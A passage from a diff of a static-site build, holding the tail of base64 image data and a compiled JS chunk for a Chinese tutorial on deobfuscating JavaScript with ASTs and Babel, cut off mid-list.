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"}}]); \ No newline at end of file diff --git a/en/assets/js/01d97124.66b226dd.js b/en/assets/js/01d97124.66b226dd.js new file mode 100644 index 0000000..3672f12 --- /dev/null +++ b/en/assets/js/01d97124.66b226dd.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2005],{28453:(n,e,r)=>{r.d(e,{R:()=>a,x:()=>i});var s=r(96540);const t={},c=s.createContext(t);function a(n){const e=s.useContext(c);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function i(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(t):n.components||t:a(n.components),s.createElement(c.Provider,{value:e},n.children)}},72848:(n,e,r)=>{r.r(e),r.d(e,{assets:()=>l,contentTitle:()=>i,default:()=>u,frontMatter:()=>a,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/JS\u8fd8\u539f/README","title":"JS\u8fd8\u539f","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/05.\u6e17\u900f\u624b\u6cd5/03.JS\u8fd8\u539f/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/05.\u6e17\u900f\u624b\u6cd5/03.JS\u8fd8\u539f","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/JS\u8fd8\u539f/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/JS\u8fd8\u539f/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/05.\u6e17\u900f\u624b\u6cd5/03.JS\u8fd8\u539f/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"SpringBoot\u6e17\u900f","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/SpringBoot\u6e17\u900f/"},"next":{"title":"fscan\u514d\u6740","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/fscan\u514d\u6740/"}}');var t=r(74848),c=r(28453);const a={},i="JS\u8fd8\u539f",l={},d=[{value:"\u4ec0\u4e48\u662f AST",id:"\u4ec0\u4e48\u662f-ast",level:2},{value:"AST \u5728\u7f16\u8bd1\u4e2d\u7684\u4f4d\u7f6e",id:"ast-\u5728\u7f16\u8bd1\u4e2d\u7684\u4f4d\u7f6e",level:2},{value:"\u8bcd\u6cd5\u5206\u6790",id:"\u8bcd\u6cd5\u5206\u6790",level:3},{value:"\u8bed\u6cd5\u5206\u6790",id:"\u8bed\u6cd5\u5206\u6790",level:3},{value:"\u4ee3\u7801\u751f\u6210",id:"\u4ee3\u7801\u751f\u6210",level:3},{value:"Babel \u7b80\u4ecb",id:"babel-\u7b80\u4ecb",level:2},{value:"@babel/core",id:"babelcore",level:3},{value:"@babel/parser",id:"babelparser",level:3},{value:"@babel/generator",id:"babelgenerator",level:3},{value:"@babel/traverse",id:"babeltraverse",level:3},{value:"@babel/types",id:"babeltypes",level:3},{value:"\u5e38\u89c1\u6df7\u6dc6\u8fd8\u539f",id:"\u5e38\u89c1\u6df7\u6dc6\u8fd8\u539f",level:2},{value:"\u5b57\u7b26\u4e32\u8fd8\u539f",id:"\u5b57\u7b26\u4e32\u8fd8\u539f",level:3},{value:"\u5bf9\u8c61\u8bbf\u95ee\u65b9\u5f0f\u8fd8\u539f",id:"\u5bf9\u8c61\u8bbf\u95ee\u65b9\u5f0f\u8fd8\u539f",level:3},{value:"\u8868\u8fbe\u5f0f\u8fd8\u539f",id:"\u8868\u8fbe\u5f0f\u8fd8\u539f",level:3},{value:"\u5220\u9664\u672a\u4f7f\u7528\u53d8\u91cf",id:"\u5220\u9664\u672a\u4f7f\u7528\u53d8\u91cf",level:3},{value:"\u5220\u9664\u5197\u4f59\u903b\u8f91\u4ee3\u7801",id:"\u5220\u9664\u5197\u4f59\u903b\u8f91\u4ee3\u7801",level:3},{value:"\u82b1\u6307\u4ee4\u8f6c\u4e8c\u9879\u5f0f",id:"\u82b1\u6307\u4ee4\u8f6c\u4e8c\u9879\u5f0f",level:3},{value:"switch-case \u63a7\u5236\u6d41\u5e73\u5766\u5316",id:"switch-case-\u63a7\u5236\u6d41\u5e73\u5766\u5316",level:3},{value:"\u53c2\u8003\u8d44\u6599",id:"\u53c2\u8003\u8d44\u6599",level:2}];function o(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,c.R)(),...n.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.header,{children:(0,t.jsx)(e.h1,{id:"js\u8fd8\u539f",children:"JS\u8fd8\u539f"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-15 00:35:28"})]})})]}),"\n",(0,t.jsx)(e.h1,{id:"\u9006\u5411\u8fdb\u9636\u5229\u7528-ast-\u6280\u672f\u8fd8\u539f-javascript-\u6df7\u6dc6\u4ee3\u7801",children:"\u9006\u5411\u8fdb\u9636\uff0c\u5229\u7528 AST \u6280\u672f\u8fd8\u539f JavaScript \u6df7\u6dc6\u4ee3\u7801"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647047.png-.png",alt:"img"})}),"\n",(0,t.jsx)(e.h2,{id:"\u4ec0\u4e48\u662f-ast",children:"\u4ec0\u4e48\u662f AST"}),"\n",(0,t.jsx)(e.p,{children:"AST\uff08Abstract Syntax Tree\uff09\uff0c\u4e2d\u6587\u62bd\u8c61\u8bed\u6cd5\u6811\uff0c\u7b80\u79f0\u8bed\u6cd5\u6811\uff08Syntax Tree\uff09\uff0c\u662f\u6e90\u4ee3\u7801\u7684\u62bd\u8c61\u8bed\u6cd5\u7ed3\u6784\u7684\u6811\u72b6\u8868\u73b0\u5f62\u5f0f\uff0c\u6811\u4e0a\u7684\u6bcf\u4e2a\u8282\u70b9\u90fd\u8868\u793a\u6e90\u4ee3\u7801\u4e2d\u7684\u4e00\u79cd\u7ed3\u6784\u3002\u8bed\u6cd5\u6811\u4e0d\u662f\u67d0\u4e00\u79cd\u7f16\u7a0b\u8bed\u8a00\u72ec\u6709\u7684\uff0cJavaScript\u3001Python\u3001Java\u3001Golang \u7b49\u51e0\u4e4e\u6240\u6709\u7f16\u7a0b\u8bed\u8a00\u90fd\u6709\u8bed\u6cd5\u6811\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u5c0f\u65f6\u5019\u6211\u4eec\u5f97\u5230\u4e00\u4e2a\u73a9\u5177\uff0c\u603b\u559c\u6b22\u628a\u73a9\u5177\u62c6\u89e3\u6210\u4e00\u4e2a\u4e00\u4e2a\u5c0f\u96f6\u4ef6\uff0c\u7136\u540e\u6309\u7167\u6211\u4eec\u81ea\u5df1\u7684\u60f3\u6cd5\uff0c\u628a\u96f6\u4ef6\u91cd\u65b0\u7ec4\u88c5\u8d77\u6765\uff0c\u4e00\u4e2a\u65b0\u73a9\u5177\u5c31\u8bde\u751f\u4e86\u3002\u800c JavaScript \u5c31\u50cf\u4e00\u53f0\u7cbe\u5999\u8fd0\u4f5c\u7684\u673a\u5668\uff0c\u901a\u8fc7 AST \u89e3\u6790\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u50cf\u7ae5\u5e74\u65f6\u62c6\u89e3\u73a9\u5177\u4e00\u6837\uff0c\u6df1\u5165\u4e86\u89e3 JavaScript \u8fd9\u53f0\u673a\u5668\u7684\u5404\u4e2a\u96f6\u90e8\u4ef6\uff0c\u7136\u540e\u91cd\u65b0\u6309\u7167\u6211\u4eec\u81ea\u5df1\u7684\u610f\u613f\u6765\u7ec4\u88c5\u3002"}),"\n",(0,t.jsx)(e.p,{children:"AST \u7684\u7528\u9014\u5f88\u5e7f\uff0cIDE \u7684\u8bed\u6cd5\u9ad8\u4eae\u3001\u4ee3\u7801\u68c0\u67e5\u3001\u683c\u5f0f\u5316\u3001\u538b\u7f29\u3001\u8f6c\u8bd1\u7b49\uff0c\u90fd\u9700\u8981\u5148\u5c06\u4ee3\u7801\u8f6c\u5316\u6210 AST \u518d\u8fdb\u884c\u540e\u7eed\u7684\u64cd\u4f5c\uff0cES5 \u548c ES6 \u8bed\u6cd5\u5dee\u5f02\uff0c\u4e3a\u4e86\u5411\u540e\u517c\u5bb9\uff0c\u5728\u5b9e\u9645\u5e94\u7528\u4e2d\u9700\u8981\u8fdb\u884c\u8bed\u6cd5\u7684\u8f6c\u6362\uff0c\u4e5f\u4f1a\u7528\u5230 AST\u3002AST \u5e76\u4e0d\u662f\u4e3a\u4e86\u9006\u5411\u800c\u751f\uff0c\u4f46\u505a\u9006\u5411\u5b66\u4f1a\u4e86 AST\uff0c\u5728\u89e3\u6df7\u6dc6\u65f6\u53ef\u4ee5\u5982\u9c7c\u5f97\u6c34\u3002"}),"\n",(0,t.jsxs)(e.p,{children:["AST \u6709\u4e00\u4e2a\u5728\u7ebf\u89e3\u6790\u7f51\u7ad9\uff1a",(0,t.jsx)(e.a,{href:"https://astexplorer.net/",children:"https://astexplorer.net/"})," \uff0c\u9876\u90e8\u53ef\u4ee5\u9009\u62e9\u8bed\u8a00\u3001\u7f16\u8bd1\u5668\u3001\u662f\u5426\u5f00\u542f\u8f6c\u5316\u7b49\uff0c\u5982\u4e0b\u56fe\u6240\u793a\uff0c\u533a\u57df\u2460\u662f\u6e90\u4ee3\u7801\uff0c\u533a\u57df\u2461\u662f\u5bf9\u5e94\u7684 AST \u8bed\u6cd5\u6811\uff0c\u533a\u57df\u2462\u662f\u8f6c\u6362\u4ee3\u7801\uff0c\u53ef\u4ee5\u5bf9\u8bed\u6cd5\u6811\u8fdb\u884c\u5404\u79cd\u64cd\u4f5c\uff0c\u533a\u57df\u2463\u662f\u8f6c\u6362\u540e\u751f\u6210\u7684\u65b0\u4ee3\u7801\u3002\u56fe\u4e2d\u539f\u6765\u7684 Unicode \u5b57\u7b26\u7ecf\u8fc7\u64cd\u4f5c\u4e4b\u540e\u5c31\u53d8\u6210\u4e86\u6b63\u5e38\u5b57\u7b26\u3002"]}),"\n",(0,t.jsx)(e.p,{children:"\u8bed\u6cd5\u6811\u6ca1\u6709\u5355\u4e00\u7684\u683c\u5f0f\uff0c\u9009\u62e9\u4e0d\u540c\u7684\u8bed\u8a00\u3001\u4e0d\u540c\u7684\u7f16\u8bd1\u5668\uff0c\u5f97\u5230\u7684\u7ed3\u679c\u4e5f\u662f\u4e0d\u4e00\u6837\u7684\uff0c\u5728 JavaScript \u4e2d\uff0c\u7f16\u8bd1\u5668\u6709 Acorn\u3001Espree\u3001Esprima\u3001Recast\u3001Uglify-JS \u7b49\uff0c\u4f7f\u7528\u6700\u591a\u7684\u662f Babel\uff0c\u540e\u7eed\u7684\u5b66\u4e60\u4e5f\u662f\u4ee5 Babel \u4e3a\u4f8b\u3002"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647049.png-.png",alt:"01"})}),"\n",(0,t.jsx)(e.h2,{id:"ast-\u5728\u7f16\u8bd1\u4e2d\u7684\u4f4d\u7f6e",children:"AST \u5728\u7f16\u8bd1\u4e2d\u7684\u4f4d\u7f6e"}),"\n",(0,t.jsx)(e.p,{children:"\u5728\u7f16\u8bd1\u539f\u7406\u4e2d\uff0c\u7f16\u8bd1\u5668\u8f6c\u6362\u4ee3\u7801\u901a\u5e38\u8981\u7ecf\u8fc7\u4e09\u4e2a\u6b65\u9aa4\uff1a\u8bcd\u6cd5\u5206\u6790\uff08Lexical Analysis\uff09\u3001\u8bed\u6cd5\u5206\u6790\uff08Syntax Analysis\uff09\u3001\u4ee3\u7801\u751f\u6210\uff08Code Generation\uff09\uff0c\u4e0b\u56fe\u751f\u52a8\u5c55\u793a\u4e86\u8fd9\u4e00\u8fc7\u7a0b\uff1a"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647050.png-.png",alt:"02"})}),"\n",(0,t.jsx)(e.h3,{id:"\u8bcd\u6cd5\u5206\u6790",children:"\u8bcd\u6cd5\u5206\u6790"}),"\n",(0,t.jsxs)(e.p,{children:["\u8bcd\u6cd5\u5206\u6790\u9636\u6bb5\u662f\u7f16\u8bd1\u8fc7\u7a0b\u7684\u7b2c\u4e00\u4e2a\u9636\u6bb5\uff0c\u8fd9\u4e2a\u9636\u6bb5\u7684\u4efb\u52a1\u662f\u4ece\u5de6\u5230\u53f3\u4e00\u4e2a\u5b57\u7b26\u4e00\u4e2a\u5b57\u7b26\u5730\u8bfb\u5165\u6e90\u7a0b\u5e8f\uff0c\u7136\u540e\u6839\u636e\u6784\u8bcd\u89c4\u5219\u8bc6\u522b\u5355\u8bcd\uff0c\u751f\u6210 token \u7b26\u53f7\u6d41\uff0c\u6bd4\u5982 ",(0,t.jsx)(e.code,{children:"isPanda('\ud83d\udc3c')"}),"\uff0c\u4f1a\u88ab\u62c6\u5206\u6210 ",(0,t.jsx)(e.code,{children:"isPanda"}),"\uff0c",(0,t.jsx)(e.code,{children:"("}),"\uff0c",(0,t.jsx)(e.code,{children:"'\ud83d\udc3c'"}),"\uff0c",(0,t.jsx)(e.code,{children:")"})," \u56db\u90e8\u5206\uff0c\u6bcf\u90e8\u5206\u90fd\u6709\u4e0d\u540c\u7684\u542b\u4e49\uff0c\u53ef\u4ee5\u5c06\u8bcd\u6cd5\u5206\u6790\u8fc7\u7a0b\u60f3\u8c61\u4e3a\u4e0d\u540c\u7c7b\u578b\u6807\u8bb0\u7684\u5217\u8868\u6216\u6570\u7ec4\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647051.gif-.png",alt:"03"})}),"\n",(0,t.jsx)(e.h3,{id:"\u8bed\u6cd5\u5206\u6790",children:"\u8bed\u6cd5\u5206\u6790"}),"\n",(0,t.jsxs)(e.p,{children:["\u8bed\u6cd5\u5206\u6790\u662f\u7f16\u8bd1\u8fc7\u7a0b\u7684\u4e00\u4e2a\u903b\u8f91\u9636\u6bb5\uff0c\u8bed\u6cd5\u5206\u6790\u7684\u4efb\u52a1\u662f\u5728\u8bcd\u6cd5\u5206\u6790\u7684\u57fa\u7840\u4e0a\u5c06\u5355\u8bcd\u5e8f\u5217\u7ec4\u5408\u6210\u5404\u7c7b\u8bed\u6cd5\u77ed\u8bed\uff0c\u6bd4\u5982\u201c\u7a0b\u5e8f\u201d\uff0c\u201c\u8bed\u53e5\u201d\uff0c\u201c\u8868\u8fbe\u5f0f\u201d\u7b49\uff0c\u524d\u9762\u7684\u4f8b\u5b50\u4e2d\uff0c",(0,t.jsx)(e.code,{children:"isPanda('\ud83d\udc3c')"})," \u5c31\u4f1a\u88ab\u5206\u6790\u4e3a\u4e00\u6761\u8868\u8fbe\u8bed\u53e5 ",(0,t.jsx)(e.code,{children:"ExpressionStatement"}),"\uff0c",(0,t.jsx)(e.code,{children:"isPanda()"})," \u5c31\u4f1a\u88ab\u5206\u6790\u6210\u4e00\u4e2a\u51fd\u6570\u8868\u8fbe\u5f0f ",(0,t.jsx)(e.code,{children:"CallExpression"}),"\uff0c",(0,t.jsx)(e.code,{children:"\ud83d\udc3c"})," \u5c31\u4f1a\u88ab\u5206\u6790\u6210\u4e00\u4e2a\u53d8\u91cf ",(0,t.jsx)(e.code,{children:"Literal"})," \u7b49\uff0c\u4f17\u591a\u8bed\u6cd5\u4e4b\u95f4\u7684\u4f9d\u8d56\u3001\u5d4c\u5957\u5173\u7cfb\uff0c\u5c31\u6784\u6210\u4e86\u4e00\u4e2a\u6811\u72b6\u7ed3\u6784\uff0c\u5373 AST \u8bed\u6cd5\u6811\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.a,{href:"https://img2022.cnblogs.com/other/2501174/202204/2501174-20220427101415313-1435211089.gif",children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647052.gif-.png",alt:"04"})})}),"\n",(0,t.jsx)(e.h3,{id:"\u4ee3\u7801\u751f\u6210",children:"\u4ee3\u7801\u751f\u6210"}),"\n",(0,t.jsxs)(e.p,{children:["\u4ee3\u7801\u751f\u6210\u662f\u6700\u540e\u4e00\u6b65\uff0c\u5c06 AST \u8bed\u6cd5\u6811\u8f6c\u6362\u6210\u53ef\u6267\u884c\u4ee3\u7801\u5373\u53ef\uff0c\u5728\u8f6c\u6362\u4e4b\u524d\uff0c\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u64cd\u4f5c\u8bed\u6cd5\u6811\uff0c\u8fdb\u884c\u589e\u5220\u6539\u67e5\u7b49\u64cd\u4f5c\uff0c\u4f8b\u5982\uff0c\u6211\u4eec\u53ef\u4ee5\u786e\u5b9a\u53d8\u91cf\u7684\u58f0\u660e\u4f4d\u7f6e\u3001\u66f4\u6539\u53d8\u91cf\u7684\u503c\u3001\u5220\u9664\u67d0\u4e9b\u8282\u70b9\u7b49\uff0c\u6211\u4eec\u5c06\u8bed\u53e5 ",(0,t.jsx)(e.code,{children:"isPanda('\ud83d\udc3c')"})," \u4fee\u6539\u4e3a\u4e00\u4e2a\u5e03\u5c14\u7c7b\u578b\u7684 ",(0,t.jsx)(e.code,{children:"Literal"}),"\uff1a",(0,t.jsx)(e.code,{children:"true"}),"\uff0c\u8bed\u6cd5\u6811\u5c31\u6709\u5982\u4e0b\u53d8\u5316\uff1a"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647053.gif-.png",alt:"05"})}),"\n",(0,t.jsx)(e.h2,{id:"babel-\u7b80\u4ecb",children:"Babel \u7b80\u4ecb"}),"\n",(0,t.jsxs)(e.p,{children:["Babel \u662f\u4e00\u4e2a JavaScript \u7f16\u8bd1\u5668\uff0c\u4e5f\u53ef\u4ee5\u8bf4\u662f\u4e00\u4e2a\u89e3\u6790\u5e93\uff0cBabel \u4e2d\u6587\u7f51\uff1a",(0,t.jsx)(e.a,{href:"https://www.babeljs.cn/",children:"https://www.babeljs.cn/"})," \uff0cBabel \u82f1\u6587\u5b98\u7f51\uff1a",(0,t.jsx)(e.a,{href:"https://babeljs.io/",children:"https://babeljs.io/"})," \uff0cBabel \u5185\u7f6e\u4e86\u5f88\u591a\u5206\u6790 JavaScript \u4ee3\u7801\u7684\u65b9\u6cd5\uff0c\u6211\u4eec\u53ef\u4ee5\u5229\u7528 Babel \u5c06 JavaScript \u4ee3\u7801\u8f6c\u6362\u6210 AST \u8bed\u6cd5\u6811\uff0c\u7136\u540e\u589e\u5220\u6539\u67e5\u7b49\u64cd\u4f5c\u4e4b\u540e\uff0c\u518d\u8f6c\u6362\u6210 JavaScript \u4ee3\u7801\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["Babel \u5305\u542b\u7684\u5404\u79cd\u529f\u80fd\u5305\u3001API\u3001\u5404\u65b9\u6cd5\u53ef\u9009\u53c2\u6570\u7b49\uff0c\u90fd\u975e\u5e38\u591a\uff0c\u672c\u6587\u4e0d\u4e00\u4e00\u5217\u4e3e\uff0c\u5728\u5b9e\u9645\u4f7f\u7528\u8fc7\u7a0b\u4e2d\uff0c\u5e94\u5f53\u591a\u67e5\u8be2\u5b98\u65b9\u6587\u6863\uff0c\u6216\u8005\u53c2\u8003\u6587\u672b\u7ed9\u51fa\u7684\u4e00\u4e9b\u5b66\u4e60\u8d44\u6599\u3002Babel \u7684\u5b89\u88c5\u548c\u5176\u4ed6 Node \u5305\u4e00\u6837\uff0c\u9700\u8981\u54ea\u4e2a\u5b89\u88c5\u54ea\u4e2a\u5373\u53ef\uff0c\u6bd4\u5982 ",(0,t.jsx)(e.code,{children:"npm install @babel/core @babel/parser @babel/traverse @babel/generator"})]}),"\n",(0,t.jsx)(e.p,{children:"\u5728\u505a\u9006\u5411\u89e3\u6df7\u6dc6\u4e2d\uff0c\u4e3b\u8981\u7528\u5230\u4e86 Babel \u7684\u4ee5\u4e0b\u51e0\u4e2a\u529f\u80fd\u5305\uff0c\u672c\u6587\u4e5f\u4ec5\u4ecb\u7ecd\u4ee5\u4e0b\u51e0\u4e2a\u529f\u80fd\u5305\uff1a"}),"\n",(0,t.jsxs)(e.ol,{children:["\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"@babel/core"}),"\uff1aBabel \u7f16\u8bd1\u5668\u672c\u8eab\uff0c\u63d0\u4f9b\u4e86 babel \u7684\u7f16\u8bd1 API\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"@babel/parser"}),"\uff1a\u5c06 JavaScript \u4ee3\u7801\u89e3\u6790\u6210 AST \u8bed\u6cd5\u6811\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"@babel/traverse"}),"\uff1a\u904d\u5386\u3001\u4fee\u6539 AST \u8bed\u6cd5\u6811\u7684\u5404\u4e2a\u8282\u70b9\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"@babel/generator"}),"\uff1a\u5c06 AST \u8fd8\u539f\u6210 JavaScript 